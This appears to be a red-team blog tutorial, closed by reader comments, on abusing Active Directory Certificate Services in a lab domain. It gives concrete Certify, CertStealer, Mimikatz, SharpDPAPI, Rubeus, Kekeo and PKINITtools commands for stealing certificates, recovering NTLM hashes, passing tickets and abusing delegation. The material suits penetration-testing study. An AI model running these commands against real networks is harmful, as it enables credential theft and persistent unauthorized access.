It is not uncommon organizations to implement an internal certification authority in order to establish trust between entities (users, computers etc.) or utilize it for user authentication. Implementation of a certification authority requires installation of Active Directory Certificate Services (AD CS) which can be done in the domain controller or in a different server which will be integrated with the Active Directory (Enterprise CA).
As with many Microsoft components and features Active Directory Certificate Services is not secured in their default state. Will Schroeder and Lee Christensen released a paper called Certified Pre-Owned which contain details about how Active Directory Certificate Services can be abused for credential theft, machine persistence, domain escalation and domain persistence. Furthermore, attacks against AD CS are less likely to be detected since it is a domain that hasn’t been explored in depth compare to other techniques.
In networks that a Certification Authority is present red teams could use it to achieve long-term persistence on the system by obtaining a certificate either as the current user account or as a machine account. The certificate validity period is typically 1 year and it is not correlated to any password changes. Therefore this method can be used as a persistence since the NTLM hash of the user can be requested, retrieved and cracked. This technique give the flexibility to red teams to move away from traditional operations which require interaction with the “LSASS” process in order to dump password hashes. Retrieving a certificate can be achieved in two ways:
- Certificate Enrollment
- Certificate Extraction
Non-privileged users can request a certificate from the Enterprise Certificate Authority for any of the existing templates which are available for enrollment. Certify can query LDAP in order to list templates which allow domain users to enroll.
Certify.exe find /clientauth
By default domain users have enrollment rights over the template “User” as it can be displayed in the output. Furthermore, certificates which are issued have a validity period of 1 year.
Since the Certificate Authority and the template has been identified executing the following will enroll the current user and a new certificate will be issued.
Certify.exe request /ca:ca.purple.lab\purple-CA /template:User
The private key and the certificate will be displayed in .pem formatted block of text.
Similarly privileged accounts (Administrator) could request certificates for the machine account by executing Certify with the “/machine” argument from an elevated command prompt. This could allow authentication to be performed as the machine account.
Certify.exe request /ca:ca.purple.lab\purple-CA /template:Machine /machine
In a corporate environment users or computers might have certificates issued to them. These could be extracted in order to avoid using certificate enrollment. CertStealer is a C# tool which can export certificates from in-memory beacons without touching disk. Executing the following command will list all the certificates which are installed locally.
Information related to the certificates installed will be displayed in the console. This will include the Issuer, the validity period and the thumbprint.
Certificates which are stored for the current user can listed into the console as base64 by executing the following:
CertStealer.exe --name user --store My --list
Certificates can be also exported in PFX format by specifying the thumbprint.
CertStealer.exe --export pfx <Certificate-Thumbprint>
An alternative approach is to use the CryptoAPI which interacts with the certificate store in order to export a certificate. Benjamin Delpy has implemented a module in Mimikatz which patches CryptoAPI into the current process and allows certificates and their privates keys to exported locally on the current folder.
crypto::capi crypto::certificates /export
Certificates for the machine account could be exported using the Data Protection API (DPAPI). Mimikatz has support for DPAPI but this has been also implemented in SharpDPAPI project. Executing the following command from an elevated session will escalate automatically to SYSTEM in order to retrieve the “DPAPI_SYSTEM” LSA secret. By using this information the DPAPI master keys will be recovered with the private key and the certificate to be exported in the console.
SharpDPAPI.exe certificates /machine
User Account Persistence
Certificates that have been exported in .pem format could be converted to .pfx in order to be compatible with Rubeus and installed directly into the certificate store. This is because certificates in .pfx format are similar to archives and contain all the necessary information to be deployed on the system.
openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Providerv1.0" -export -out cert.pfx
Certificates that have been obtained as base64 format could be imported by using the following command from CertStealer (current user):
CertStealer.exe --import My user <base64-certificate>
A Ticket Granting Ticket (TGT) can be requested with Rubeus from the Kerberos Key Distribution Center (KDC) for the enrolled user. Rubeus supports Public Key Cryptography for Initial Authentication (PKINIT) therefore the certificate in .pfx format that has been retrieved or obtained via enrollment can be used for kerberos authentication.
Rubeus.exe asktgt /user:pentestlab /certificate:C:\Users\pentestlab.PURPLE\cert.pfx /password:Password123
The TGT will be displayed as base64. Kekeo is a toolkit that can interact with Kerberos authentication mechanism and supports base64 input even though it is not enabled by default. To enable base64 input the following commands are required:
base64 base64 /input:on
The ticket could be applied to the current logon session with Kekeo or with Rubeus.
tgt::ask /pfx:<base64> /user:pentestlab /domain:purple.lab /ptt
Now that the ticket has been passed into the memory, the NTLM hash of the user “pentestlab” could be recovered. This is due to a feature which was developed by Microsoft to allow applications which are connecting to network services and don’t support Kerberos authentication to use NTLM as an authentication mechanism. According to Microsoft Kerberos PKINIT technical specification when PKCA is used the KDC will return the NTLM hash of the user in the privilege attribute certificate (PAC). Executing the following command from Kekeo will perform a decryption on the privilege attribute certificate and the NTLM has will be displayed:
tgt::pac /caname:purple-CA /subject:pentestlab /castore:current_user /domain:purple.lab
If the account is local admin the NTLM hash could be combined with other attacks such as pass the hash in order to move laterally to other systems (if the account has access). Alternatively, retrieving the hash of a user account could give the opportunity to crack it offline and therefore establishing persistence on the host. The NTLM hash could be retrieved multiple times even if the password has been changed by the user as long as the certificate is valid (1 year by default).
From non-domain joined systems Dirk-jan Mollema developed a set of tools called PKINITtools in Python which can be used to recover the NTLM hash. Initially the .kirbi file needs to be converted to credential cache file (.ccache) with the “ticket_converter.py” tool.
python3 ticket_converter.py pentestlab.kirbi pentestlab.ccache
Similarly to Rubeus the TGT can be obtained using the “gettgtpkinit.py” by supplying the certificate, the password that it was used to protect the private key, the user which the certificate has been issued and the .ccache file which contains the credentials for the Kerberos authentication.
python3 gettgtpkinit.py purple.lab/pentestlab -cert-pfx cert.pfx -pfx-pass Password123 pentestlab.ccache
The AES-REP encryption key which has been retrieved previously can be used with the “getnthash.py” utility in order to recover the NTLM hash from the PAC.
python3 getnthash.py purple.lab/pentestlab -key e2cde9845e5d46715b6b968c80775b44ecbd2cd5eb6e2f38f6739e120acf1b53
Machine Account Persistence
If local administrator rights have been obtained a certificate could be requested for a machine account instead of a user account. Therefore the issued certificate could be used to request a ticket granting ticket from Kerberos Distribution Center (KDC).
Rubeus.exe asktgt /user:HIVE$ /certificate:C:\Users\pentestlab.PURPLE\cert.pfx /password:Password123
Using Kekeo in a similar manner that it has been used with the user account, the ticket can be applied in the current session by executing the following:
tgt::ask /pfx:<base64> /user:HIVE$ /password:Password123 /domain:purple.lab /ptt
Having a ticket for a machine account access can be established for any service (HTTP, CIFS etc.) as any user if the account is configured for constrained delegation.
Rubeus.exe s4u /user:HIVE$ /aes256:64e2da4f19b52a18760f0a0032f10d796eabec1156a63f56c69fa0d86064f656 /domain:purple.lab /msdsspn:<service> /tgs:<name>.kirbi /ptt
Great article! I want to try this out in my environment.
Question though, I am assuming the C# files need to be compile into an executable? From what I can see, the Github repository doesn’t provide it nor explain what needs to be done to create an executable. I guess it’s assumed you know already.
That’s correct. It is straight forward. You will need Visual Studio installed on your system to compile the code and generate the necessary executables.
Thanks for the article…will try out this today.